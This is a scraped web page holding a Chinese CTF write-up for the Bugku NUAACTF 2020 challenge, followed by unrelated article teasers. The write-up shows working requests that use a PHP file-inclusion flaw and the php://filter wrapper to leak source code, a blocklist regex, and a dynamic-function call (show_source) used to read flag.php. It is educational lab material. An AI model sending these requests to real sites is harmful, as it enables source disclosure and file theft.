news 2026/10/3 8:23:13

Bugku NUAACTF 2020 command-injection

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Bugku NUAACTF 2020 command-injection

前置知识

网络安全 文件包含漏洞-CSDN博客

解题过程

打开靶场、进行信息收集

在源码中发现include文件,直接访问,自动添加了URL参数file

/include.php?file=index

并且自动补齐了index参数,页面也跟初始页面相同,很明显是文件包含漏洞

直接尝试php伪协议读取下已知的源码,根据自动补齐的index参数,可以猜测后端是自动补齐.php,读取index.php:

/include.php?file=php://filter/read=convert.base64-encode/resource=index
<?php print <<<EOT <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body> <!--include.php--> <img src="img.jpg" alt="嘉木天下第一" /> </body> </html> EOT; ?>

读取include.php:

/include.php?file=php://filter/read=convert.base64-encode/resource=include
<?php error_reporting(0); @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) { echo "<p> error! </p>"; } else { include($file.'.php'); setcookie("tips","createfun.php"); } } else { header('Location:include.php?file=index'); } ?>

可以看到include.php过滤了敏感字符,我们无法直接读取flag

并且我们又看到另一个文件createfun.php,继续读取该文件:

/include.php?file=php://filter/read=convert.base64-encode/resource=createfun
<?php $func = @$_GET['func']; $arg = @$_GET['arg']; if(isset($func)&&isset($arg)){$func($arg,'');}

分析源码,获取两个参数,一个作为函数名,一个作为函数参数,然后会执行函数。

需要注意这个函数有两个参数,后面被自动设置为空,这里很多函数可以用,这里采用show_source,显示flag.php文件内容,这里flag.php可以通过前面include文件得出,也可以扫文件得到:

/createfun.php?func=show_source&arg=flag.php
<?php $flag="nuaactf{php_IS_thE_best_language}"; ?>

总结

一道基础的文件包含漏洞,包含了一些代码审计部分。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/2 9:15:09

终极AEUX完整指南:3步实现设计到动画的完美转换

终极AEUX完整指南&#xff1a;3步实现设计到动画的完美转换 【免费下载链接】AEUX Editable After Effects layers from Sketch artboards 项目地址: https://gitcode.com/gh_mirrors/ae/AEUX 你是否曾经在Sketch或Figma中完成了精美的设计&#xff0c;却在After Effect…

作者头像 李华
网站建设 2026/10/2 6:59:32

企业级应用:Dify离线部署在金融行业的实践案例

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 开发一个金融行业专用的Dify离线部署解决方案&#xff0c;包含&#xff1a;1. 多节点集群部署 2. 数据加密传输模块 3. 高可用架构配置 4. 合规性检查工具 5. 性能监控看板。要求支…

作者头像 李华
网站建设 2026/10/2 10:45:56

Anystyle智能引用解析工具:科研文献管理的革命性突破

Anystyle是一款基于人工智能的智能引用解析工具&#xff0c;专门为科研人员和学术工作者设计。它能快速准确地将杂乱无章的参考文献文本转换为结构化数据&#xff0c;支持BibTeX、CSL、RIS等多种标准格式输出&#xff0c;彻底解决文献引用处理难题。 【免费下载链接】anystyle …

作者头像 李华
网站建设 2026/10/3 5:17:36

传统vs现代:0603封装手工焊接与自动化贴片效率对比

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个0603封装焊接效率对比工具。需要&#xff1a;1. 模拟手工焊接0603的流程并计算平均耗时 2. 模拟SMT产线贴片流程 3. 对比两种方式的单位时间产量、不良率 4. 根据生产批量推…

作者头像 李华
网站建设 2026/10/2 10:45:56

Phigros网页模拟器完整使用教程:零基础打造专属音乐游戏

Phigros网页模拟器完整使用教程&#xff1a;零基础打造专属音乐游戏 【免费下载链接】sim-phi Simulation of Phigros display with js/canvas 项目地址: https://gitcode.com/gh_mirrors/si/sim-phi 想要在浏览器中畅玩Phigros音乐游戏吗&#xff1f;这款基于JavaScrip…

作者头像 李华
网站建设 2026/10/2 10:46:06

企业级开源协作平台部署指南:规模化团队的高效解决方案

项目定位与愿景 【免费下载链接】dzzoffice dzzoffice 项目地址: https://gitcode.com/gh_mirrors/dz/dzzoffice 在数字化办公浪潮中&#xff0c;DzzOffice作为一款功能完整的开源协作平台&#xff0c;为企业提供了从文档处理到团队管理的全方位解决方案。不同于传统办公…

作者头像 李华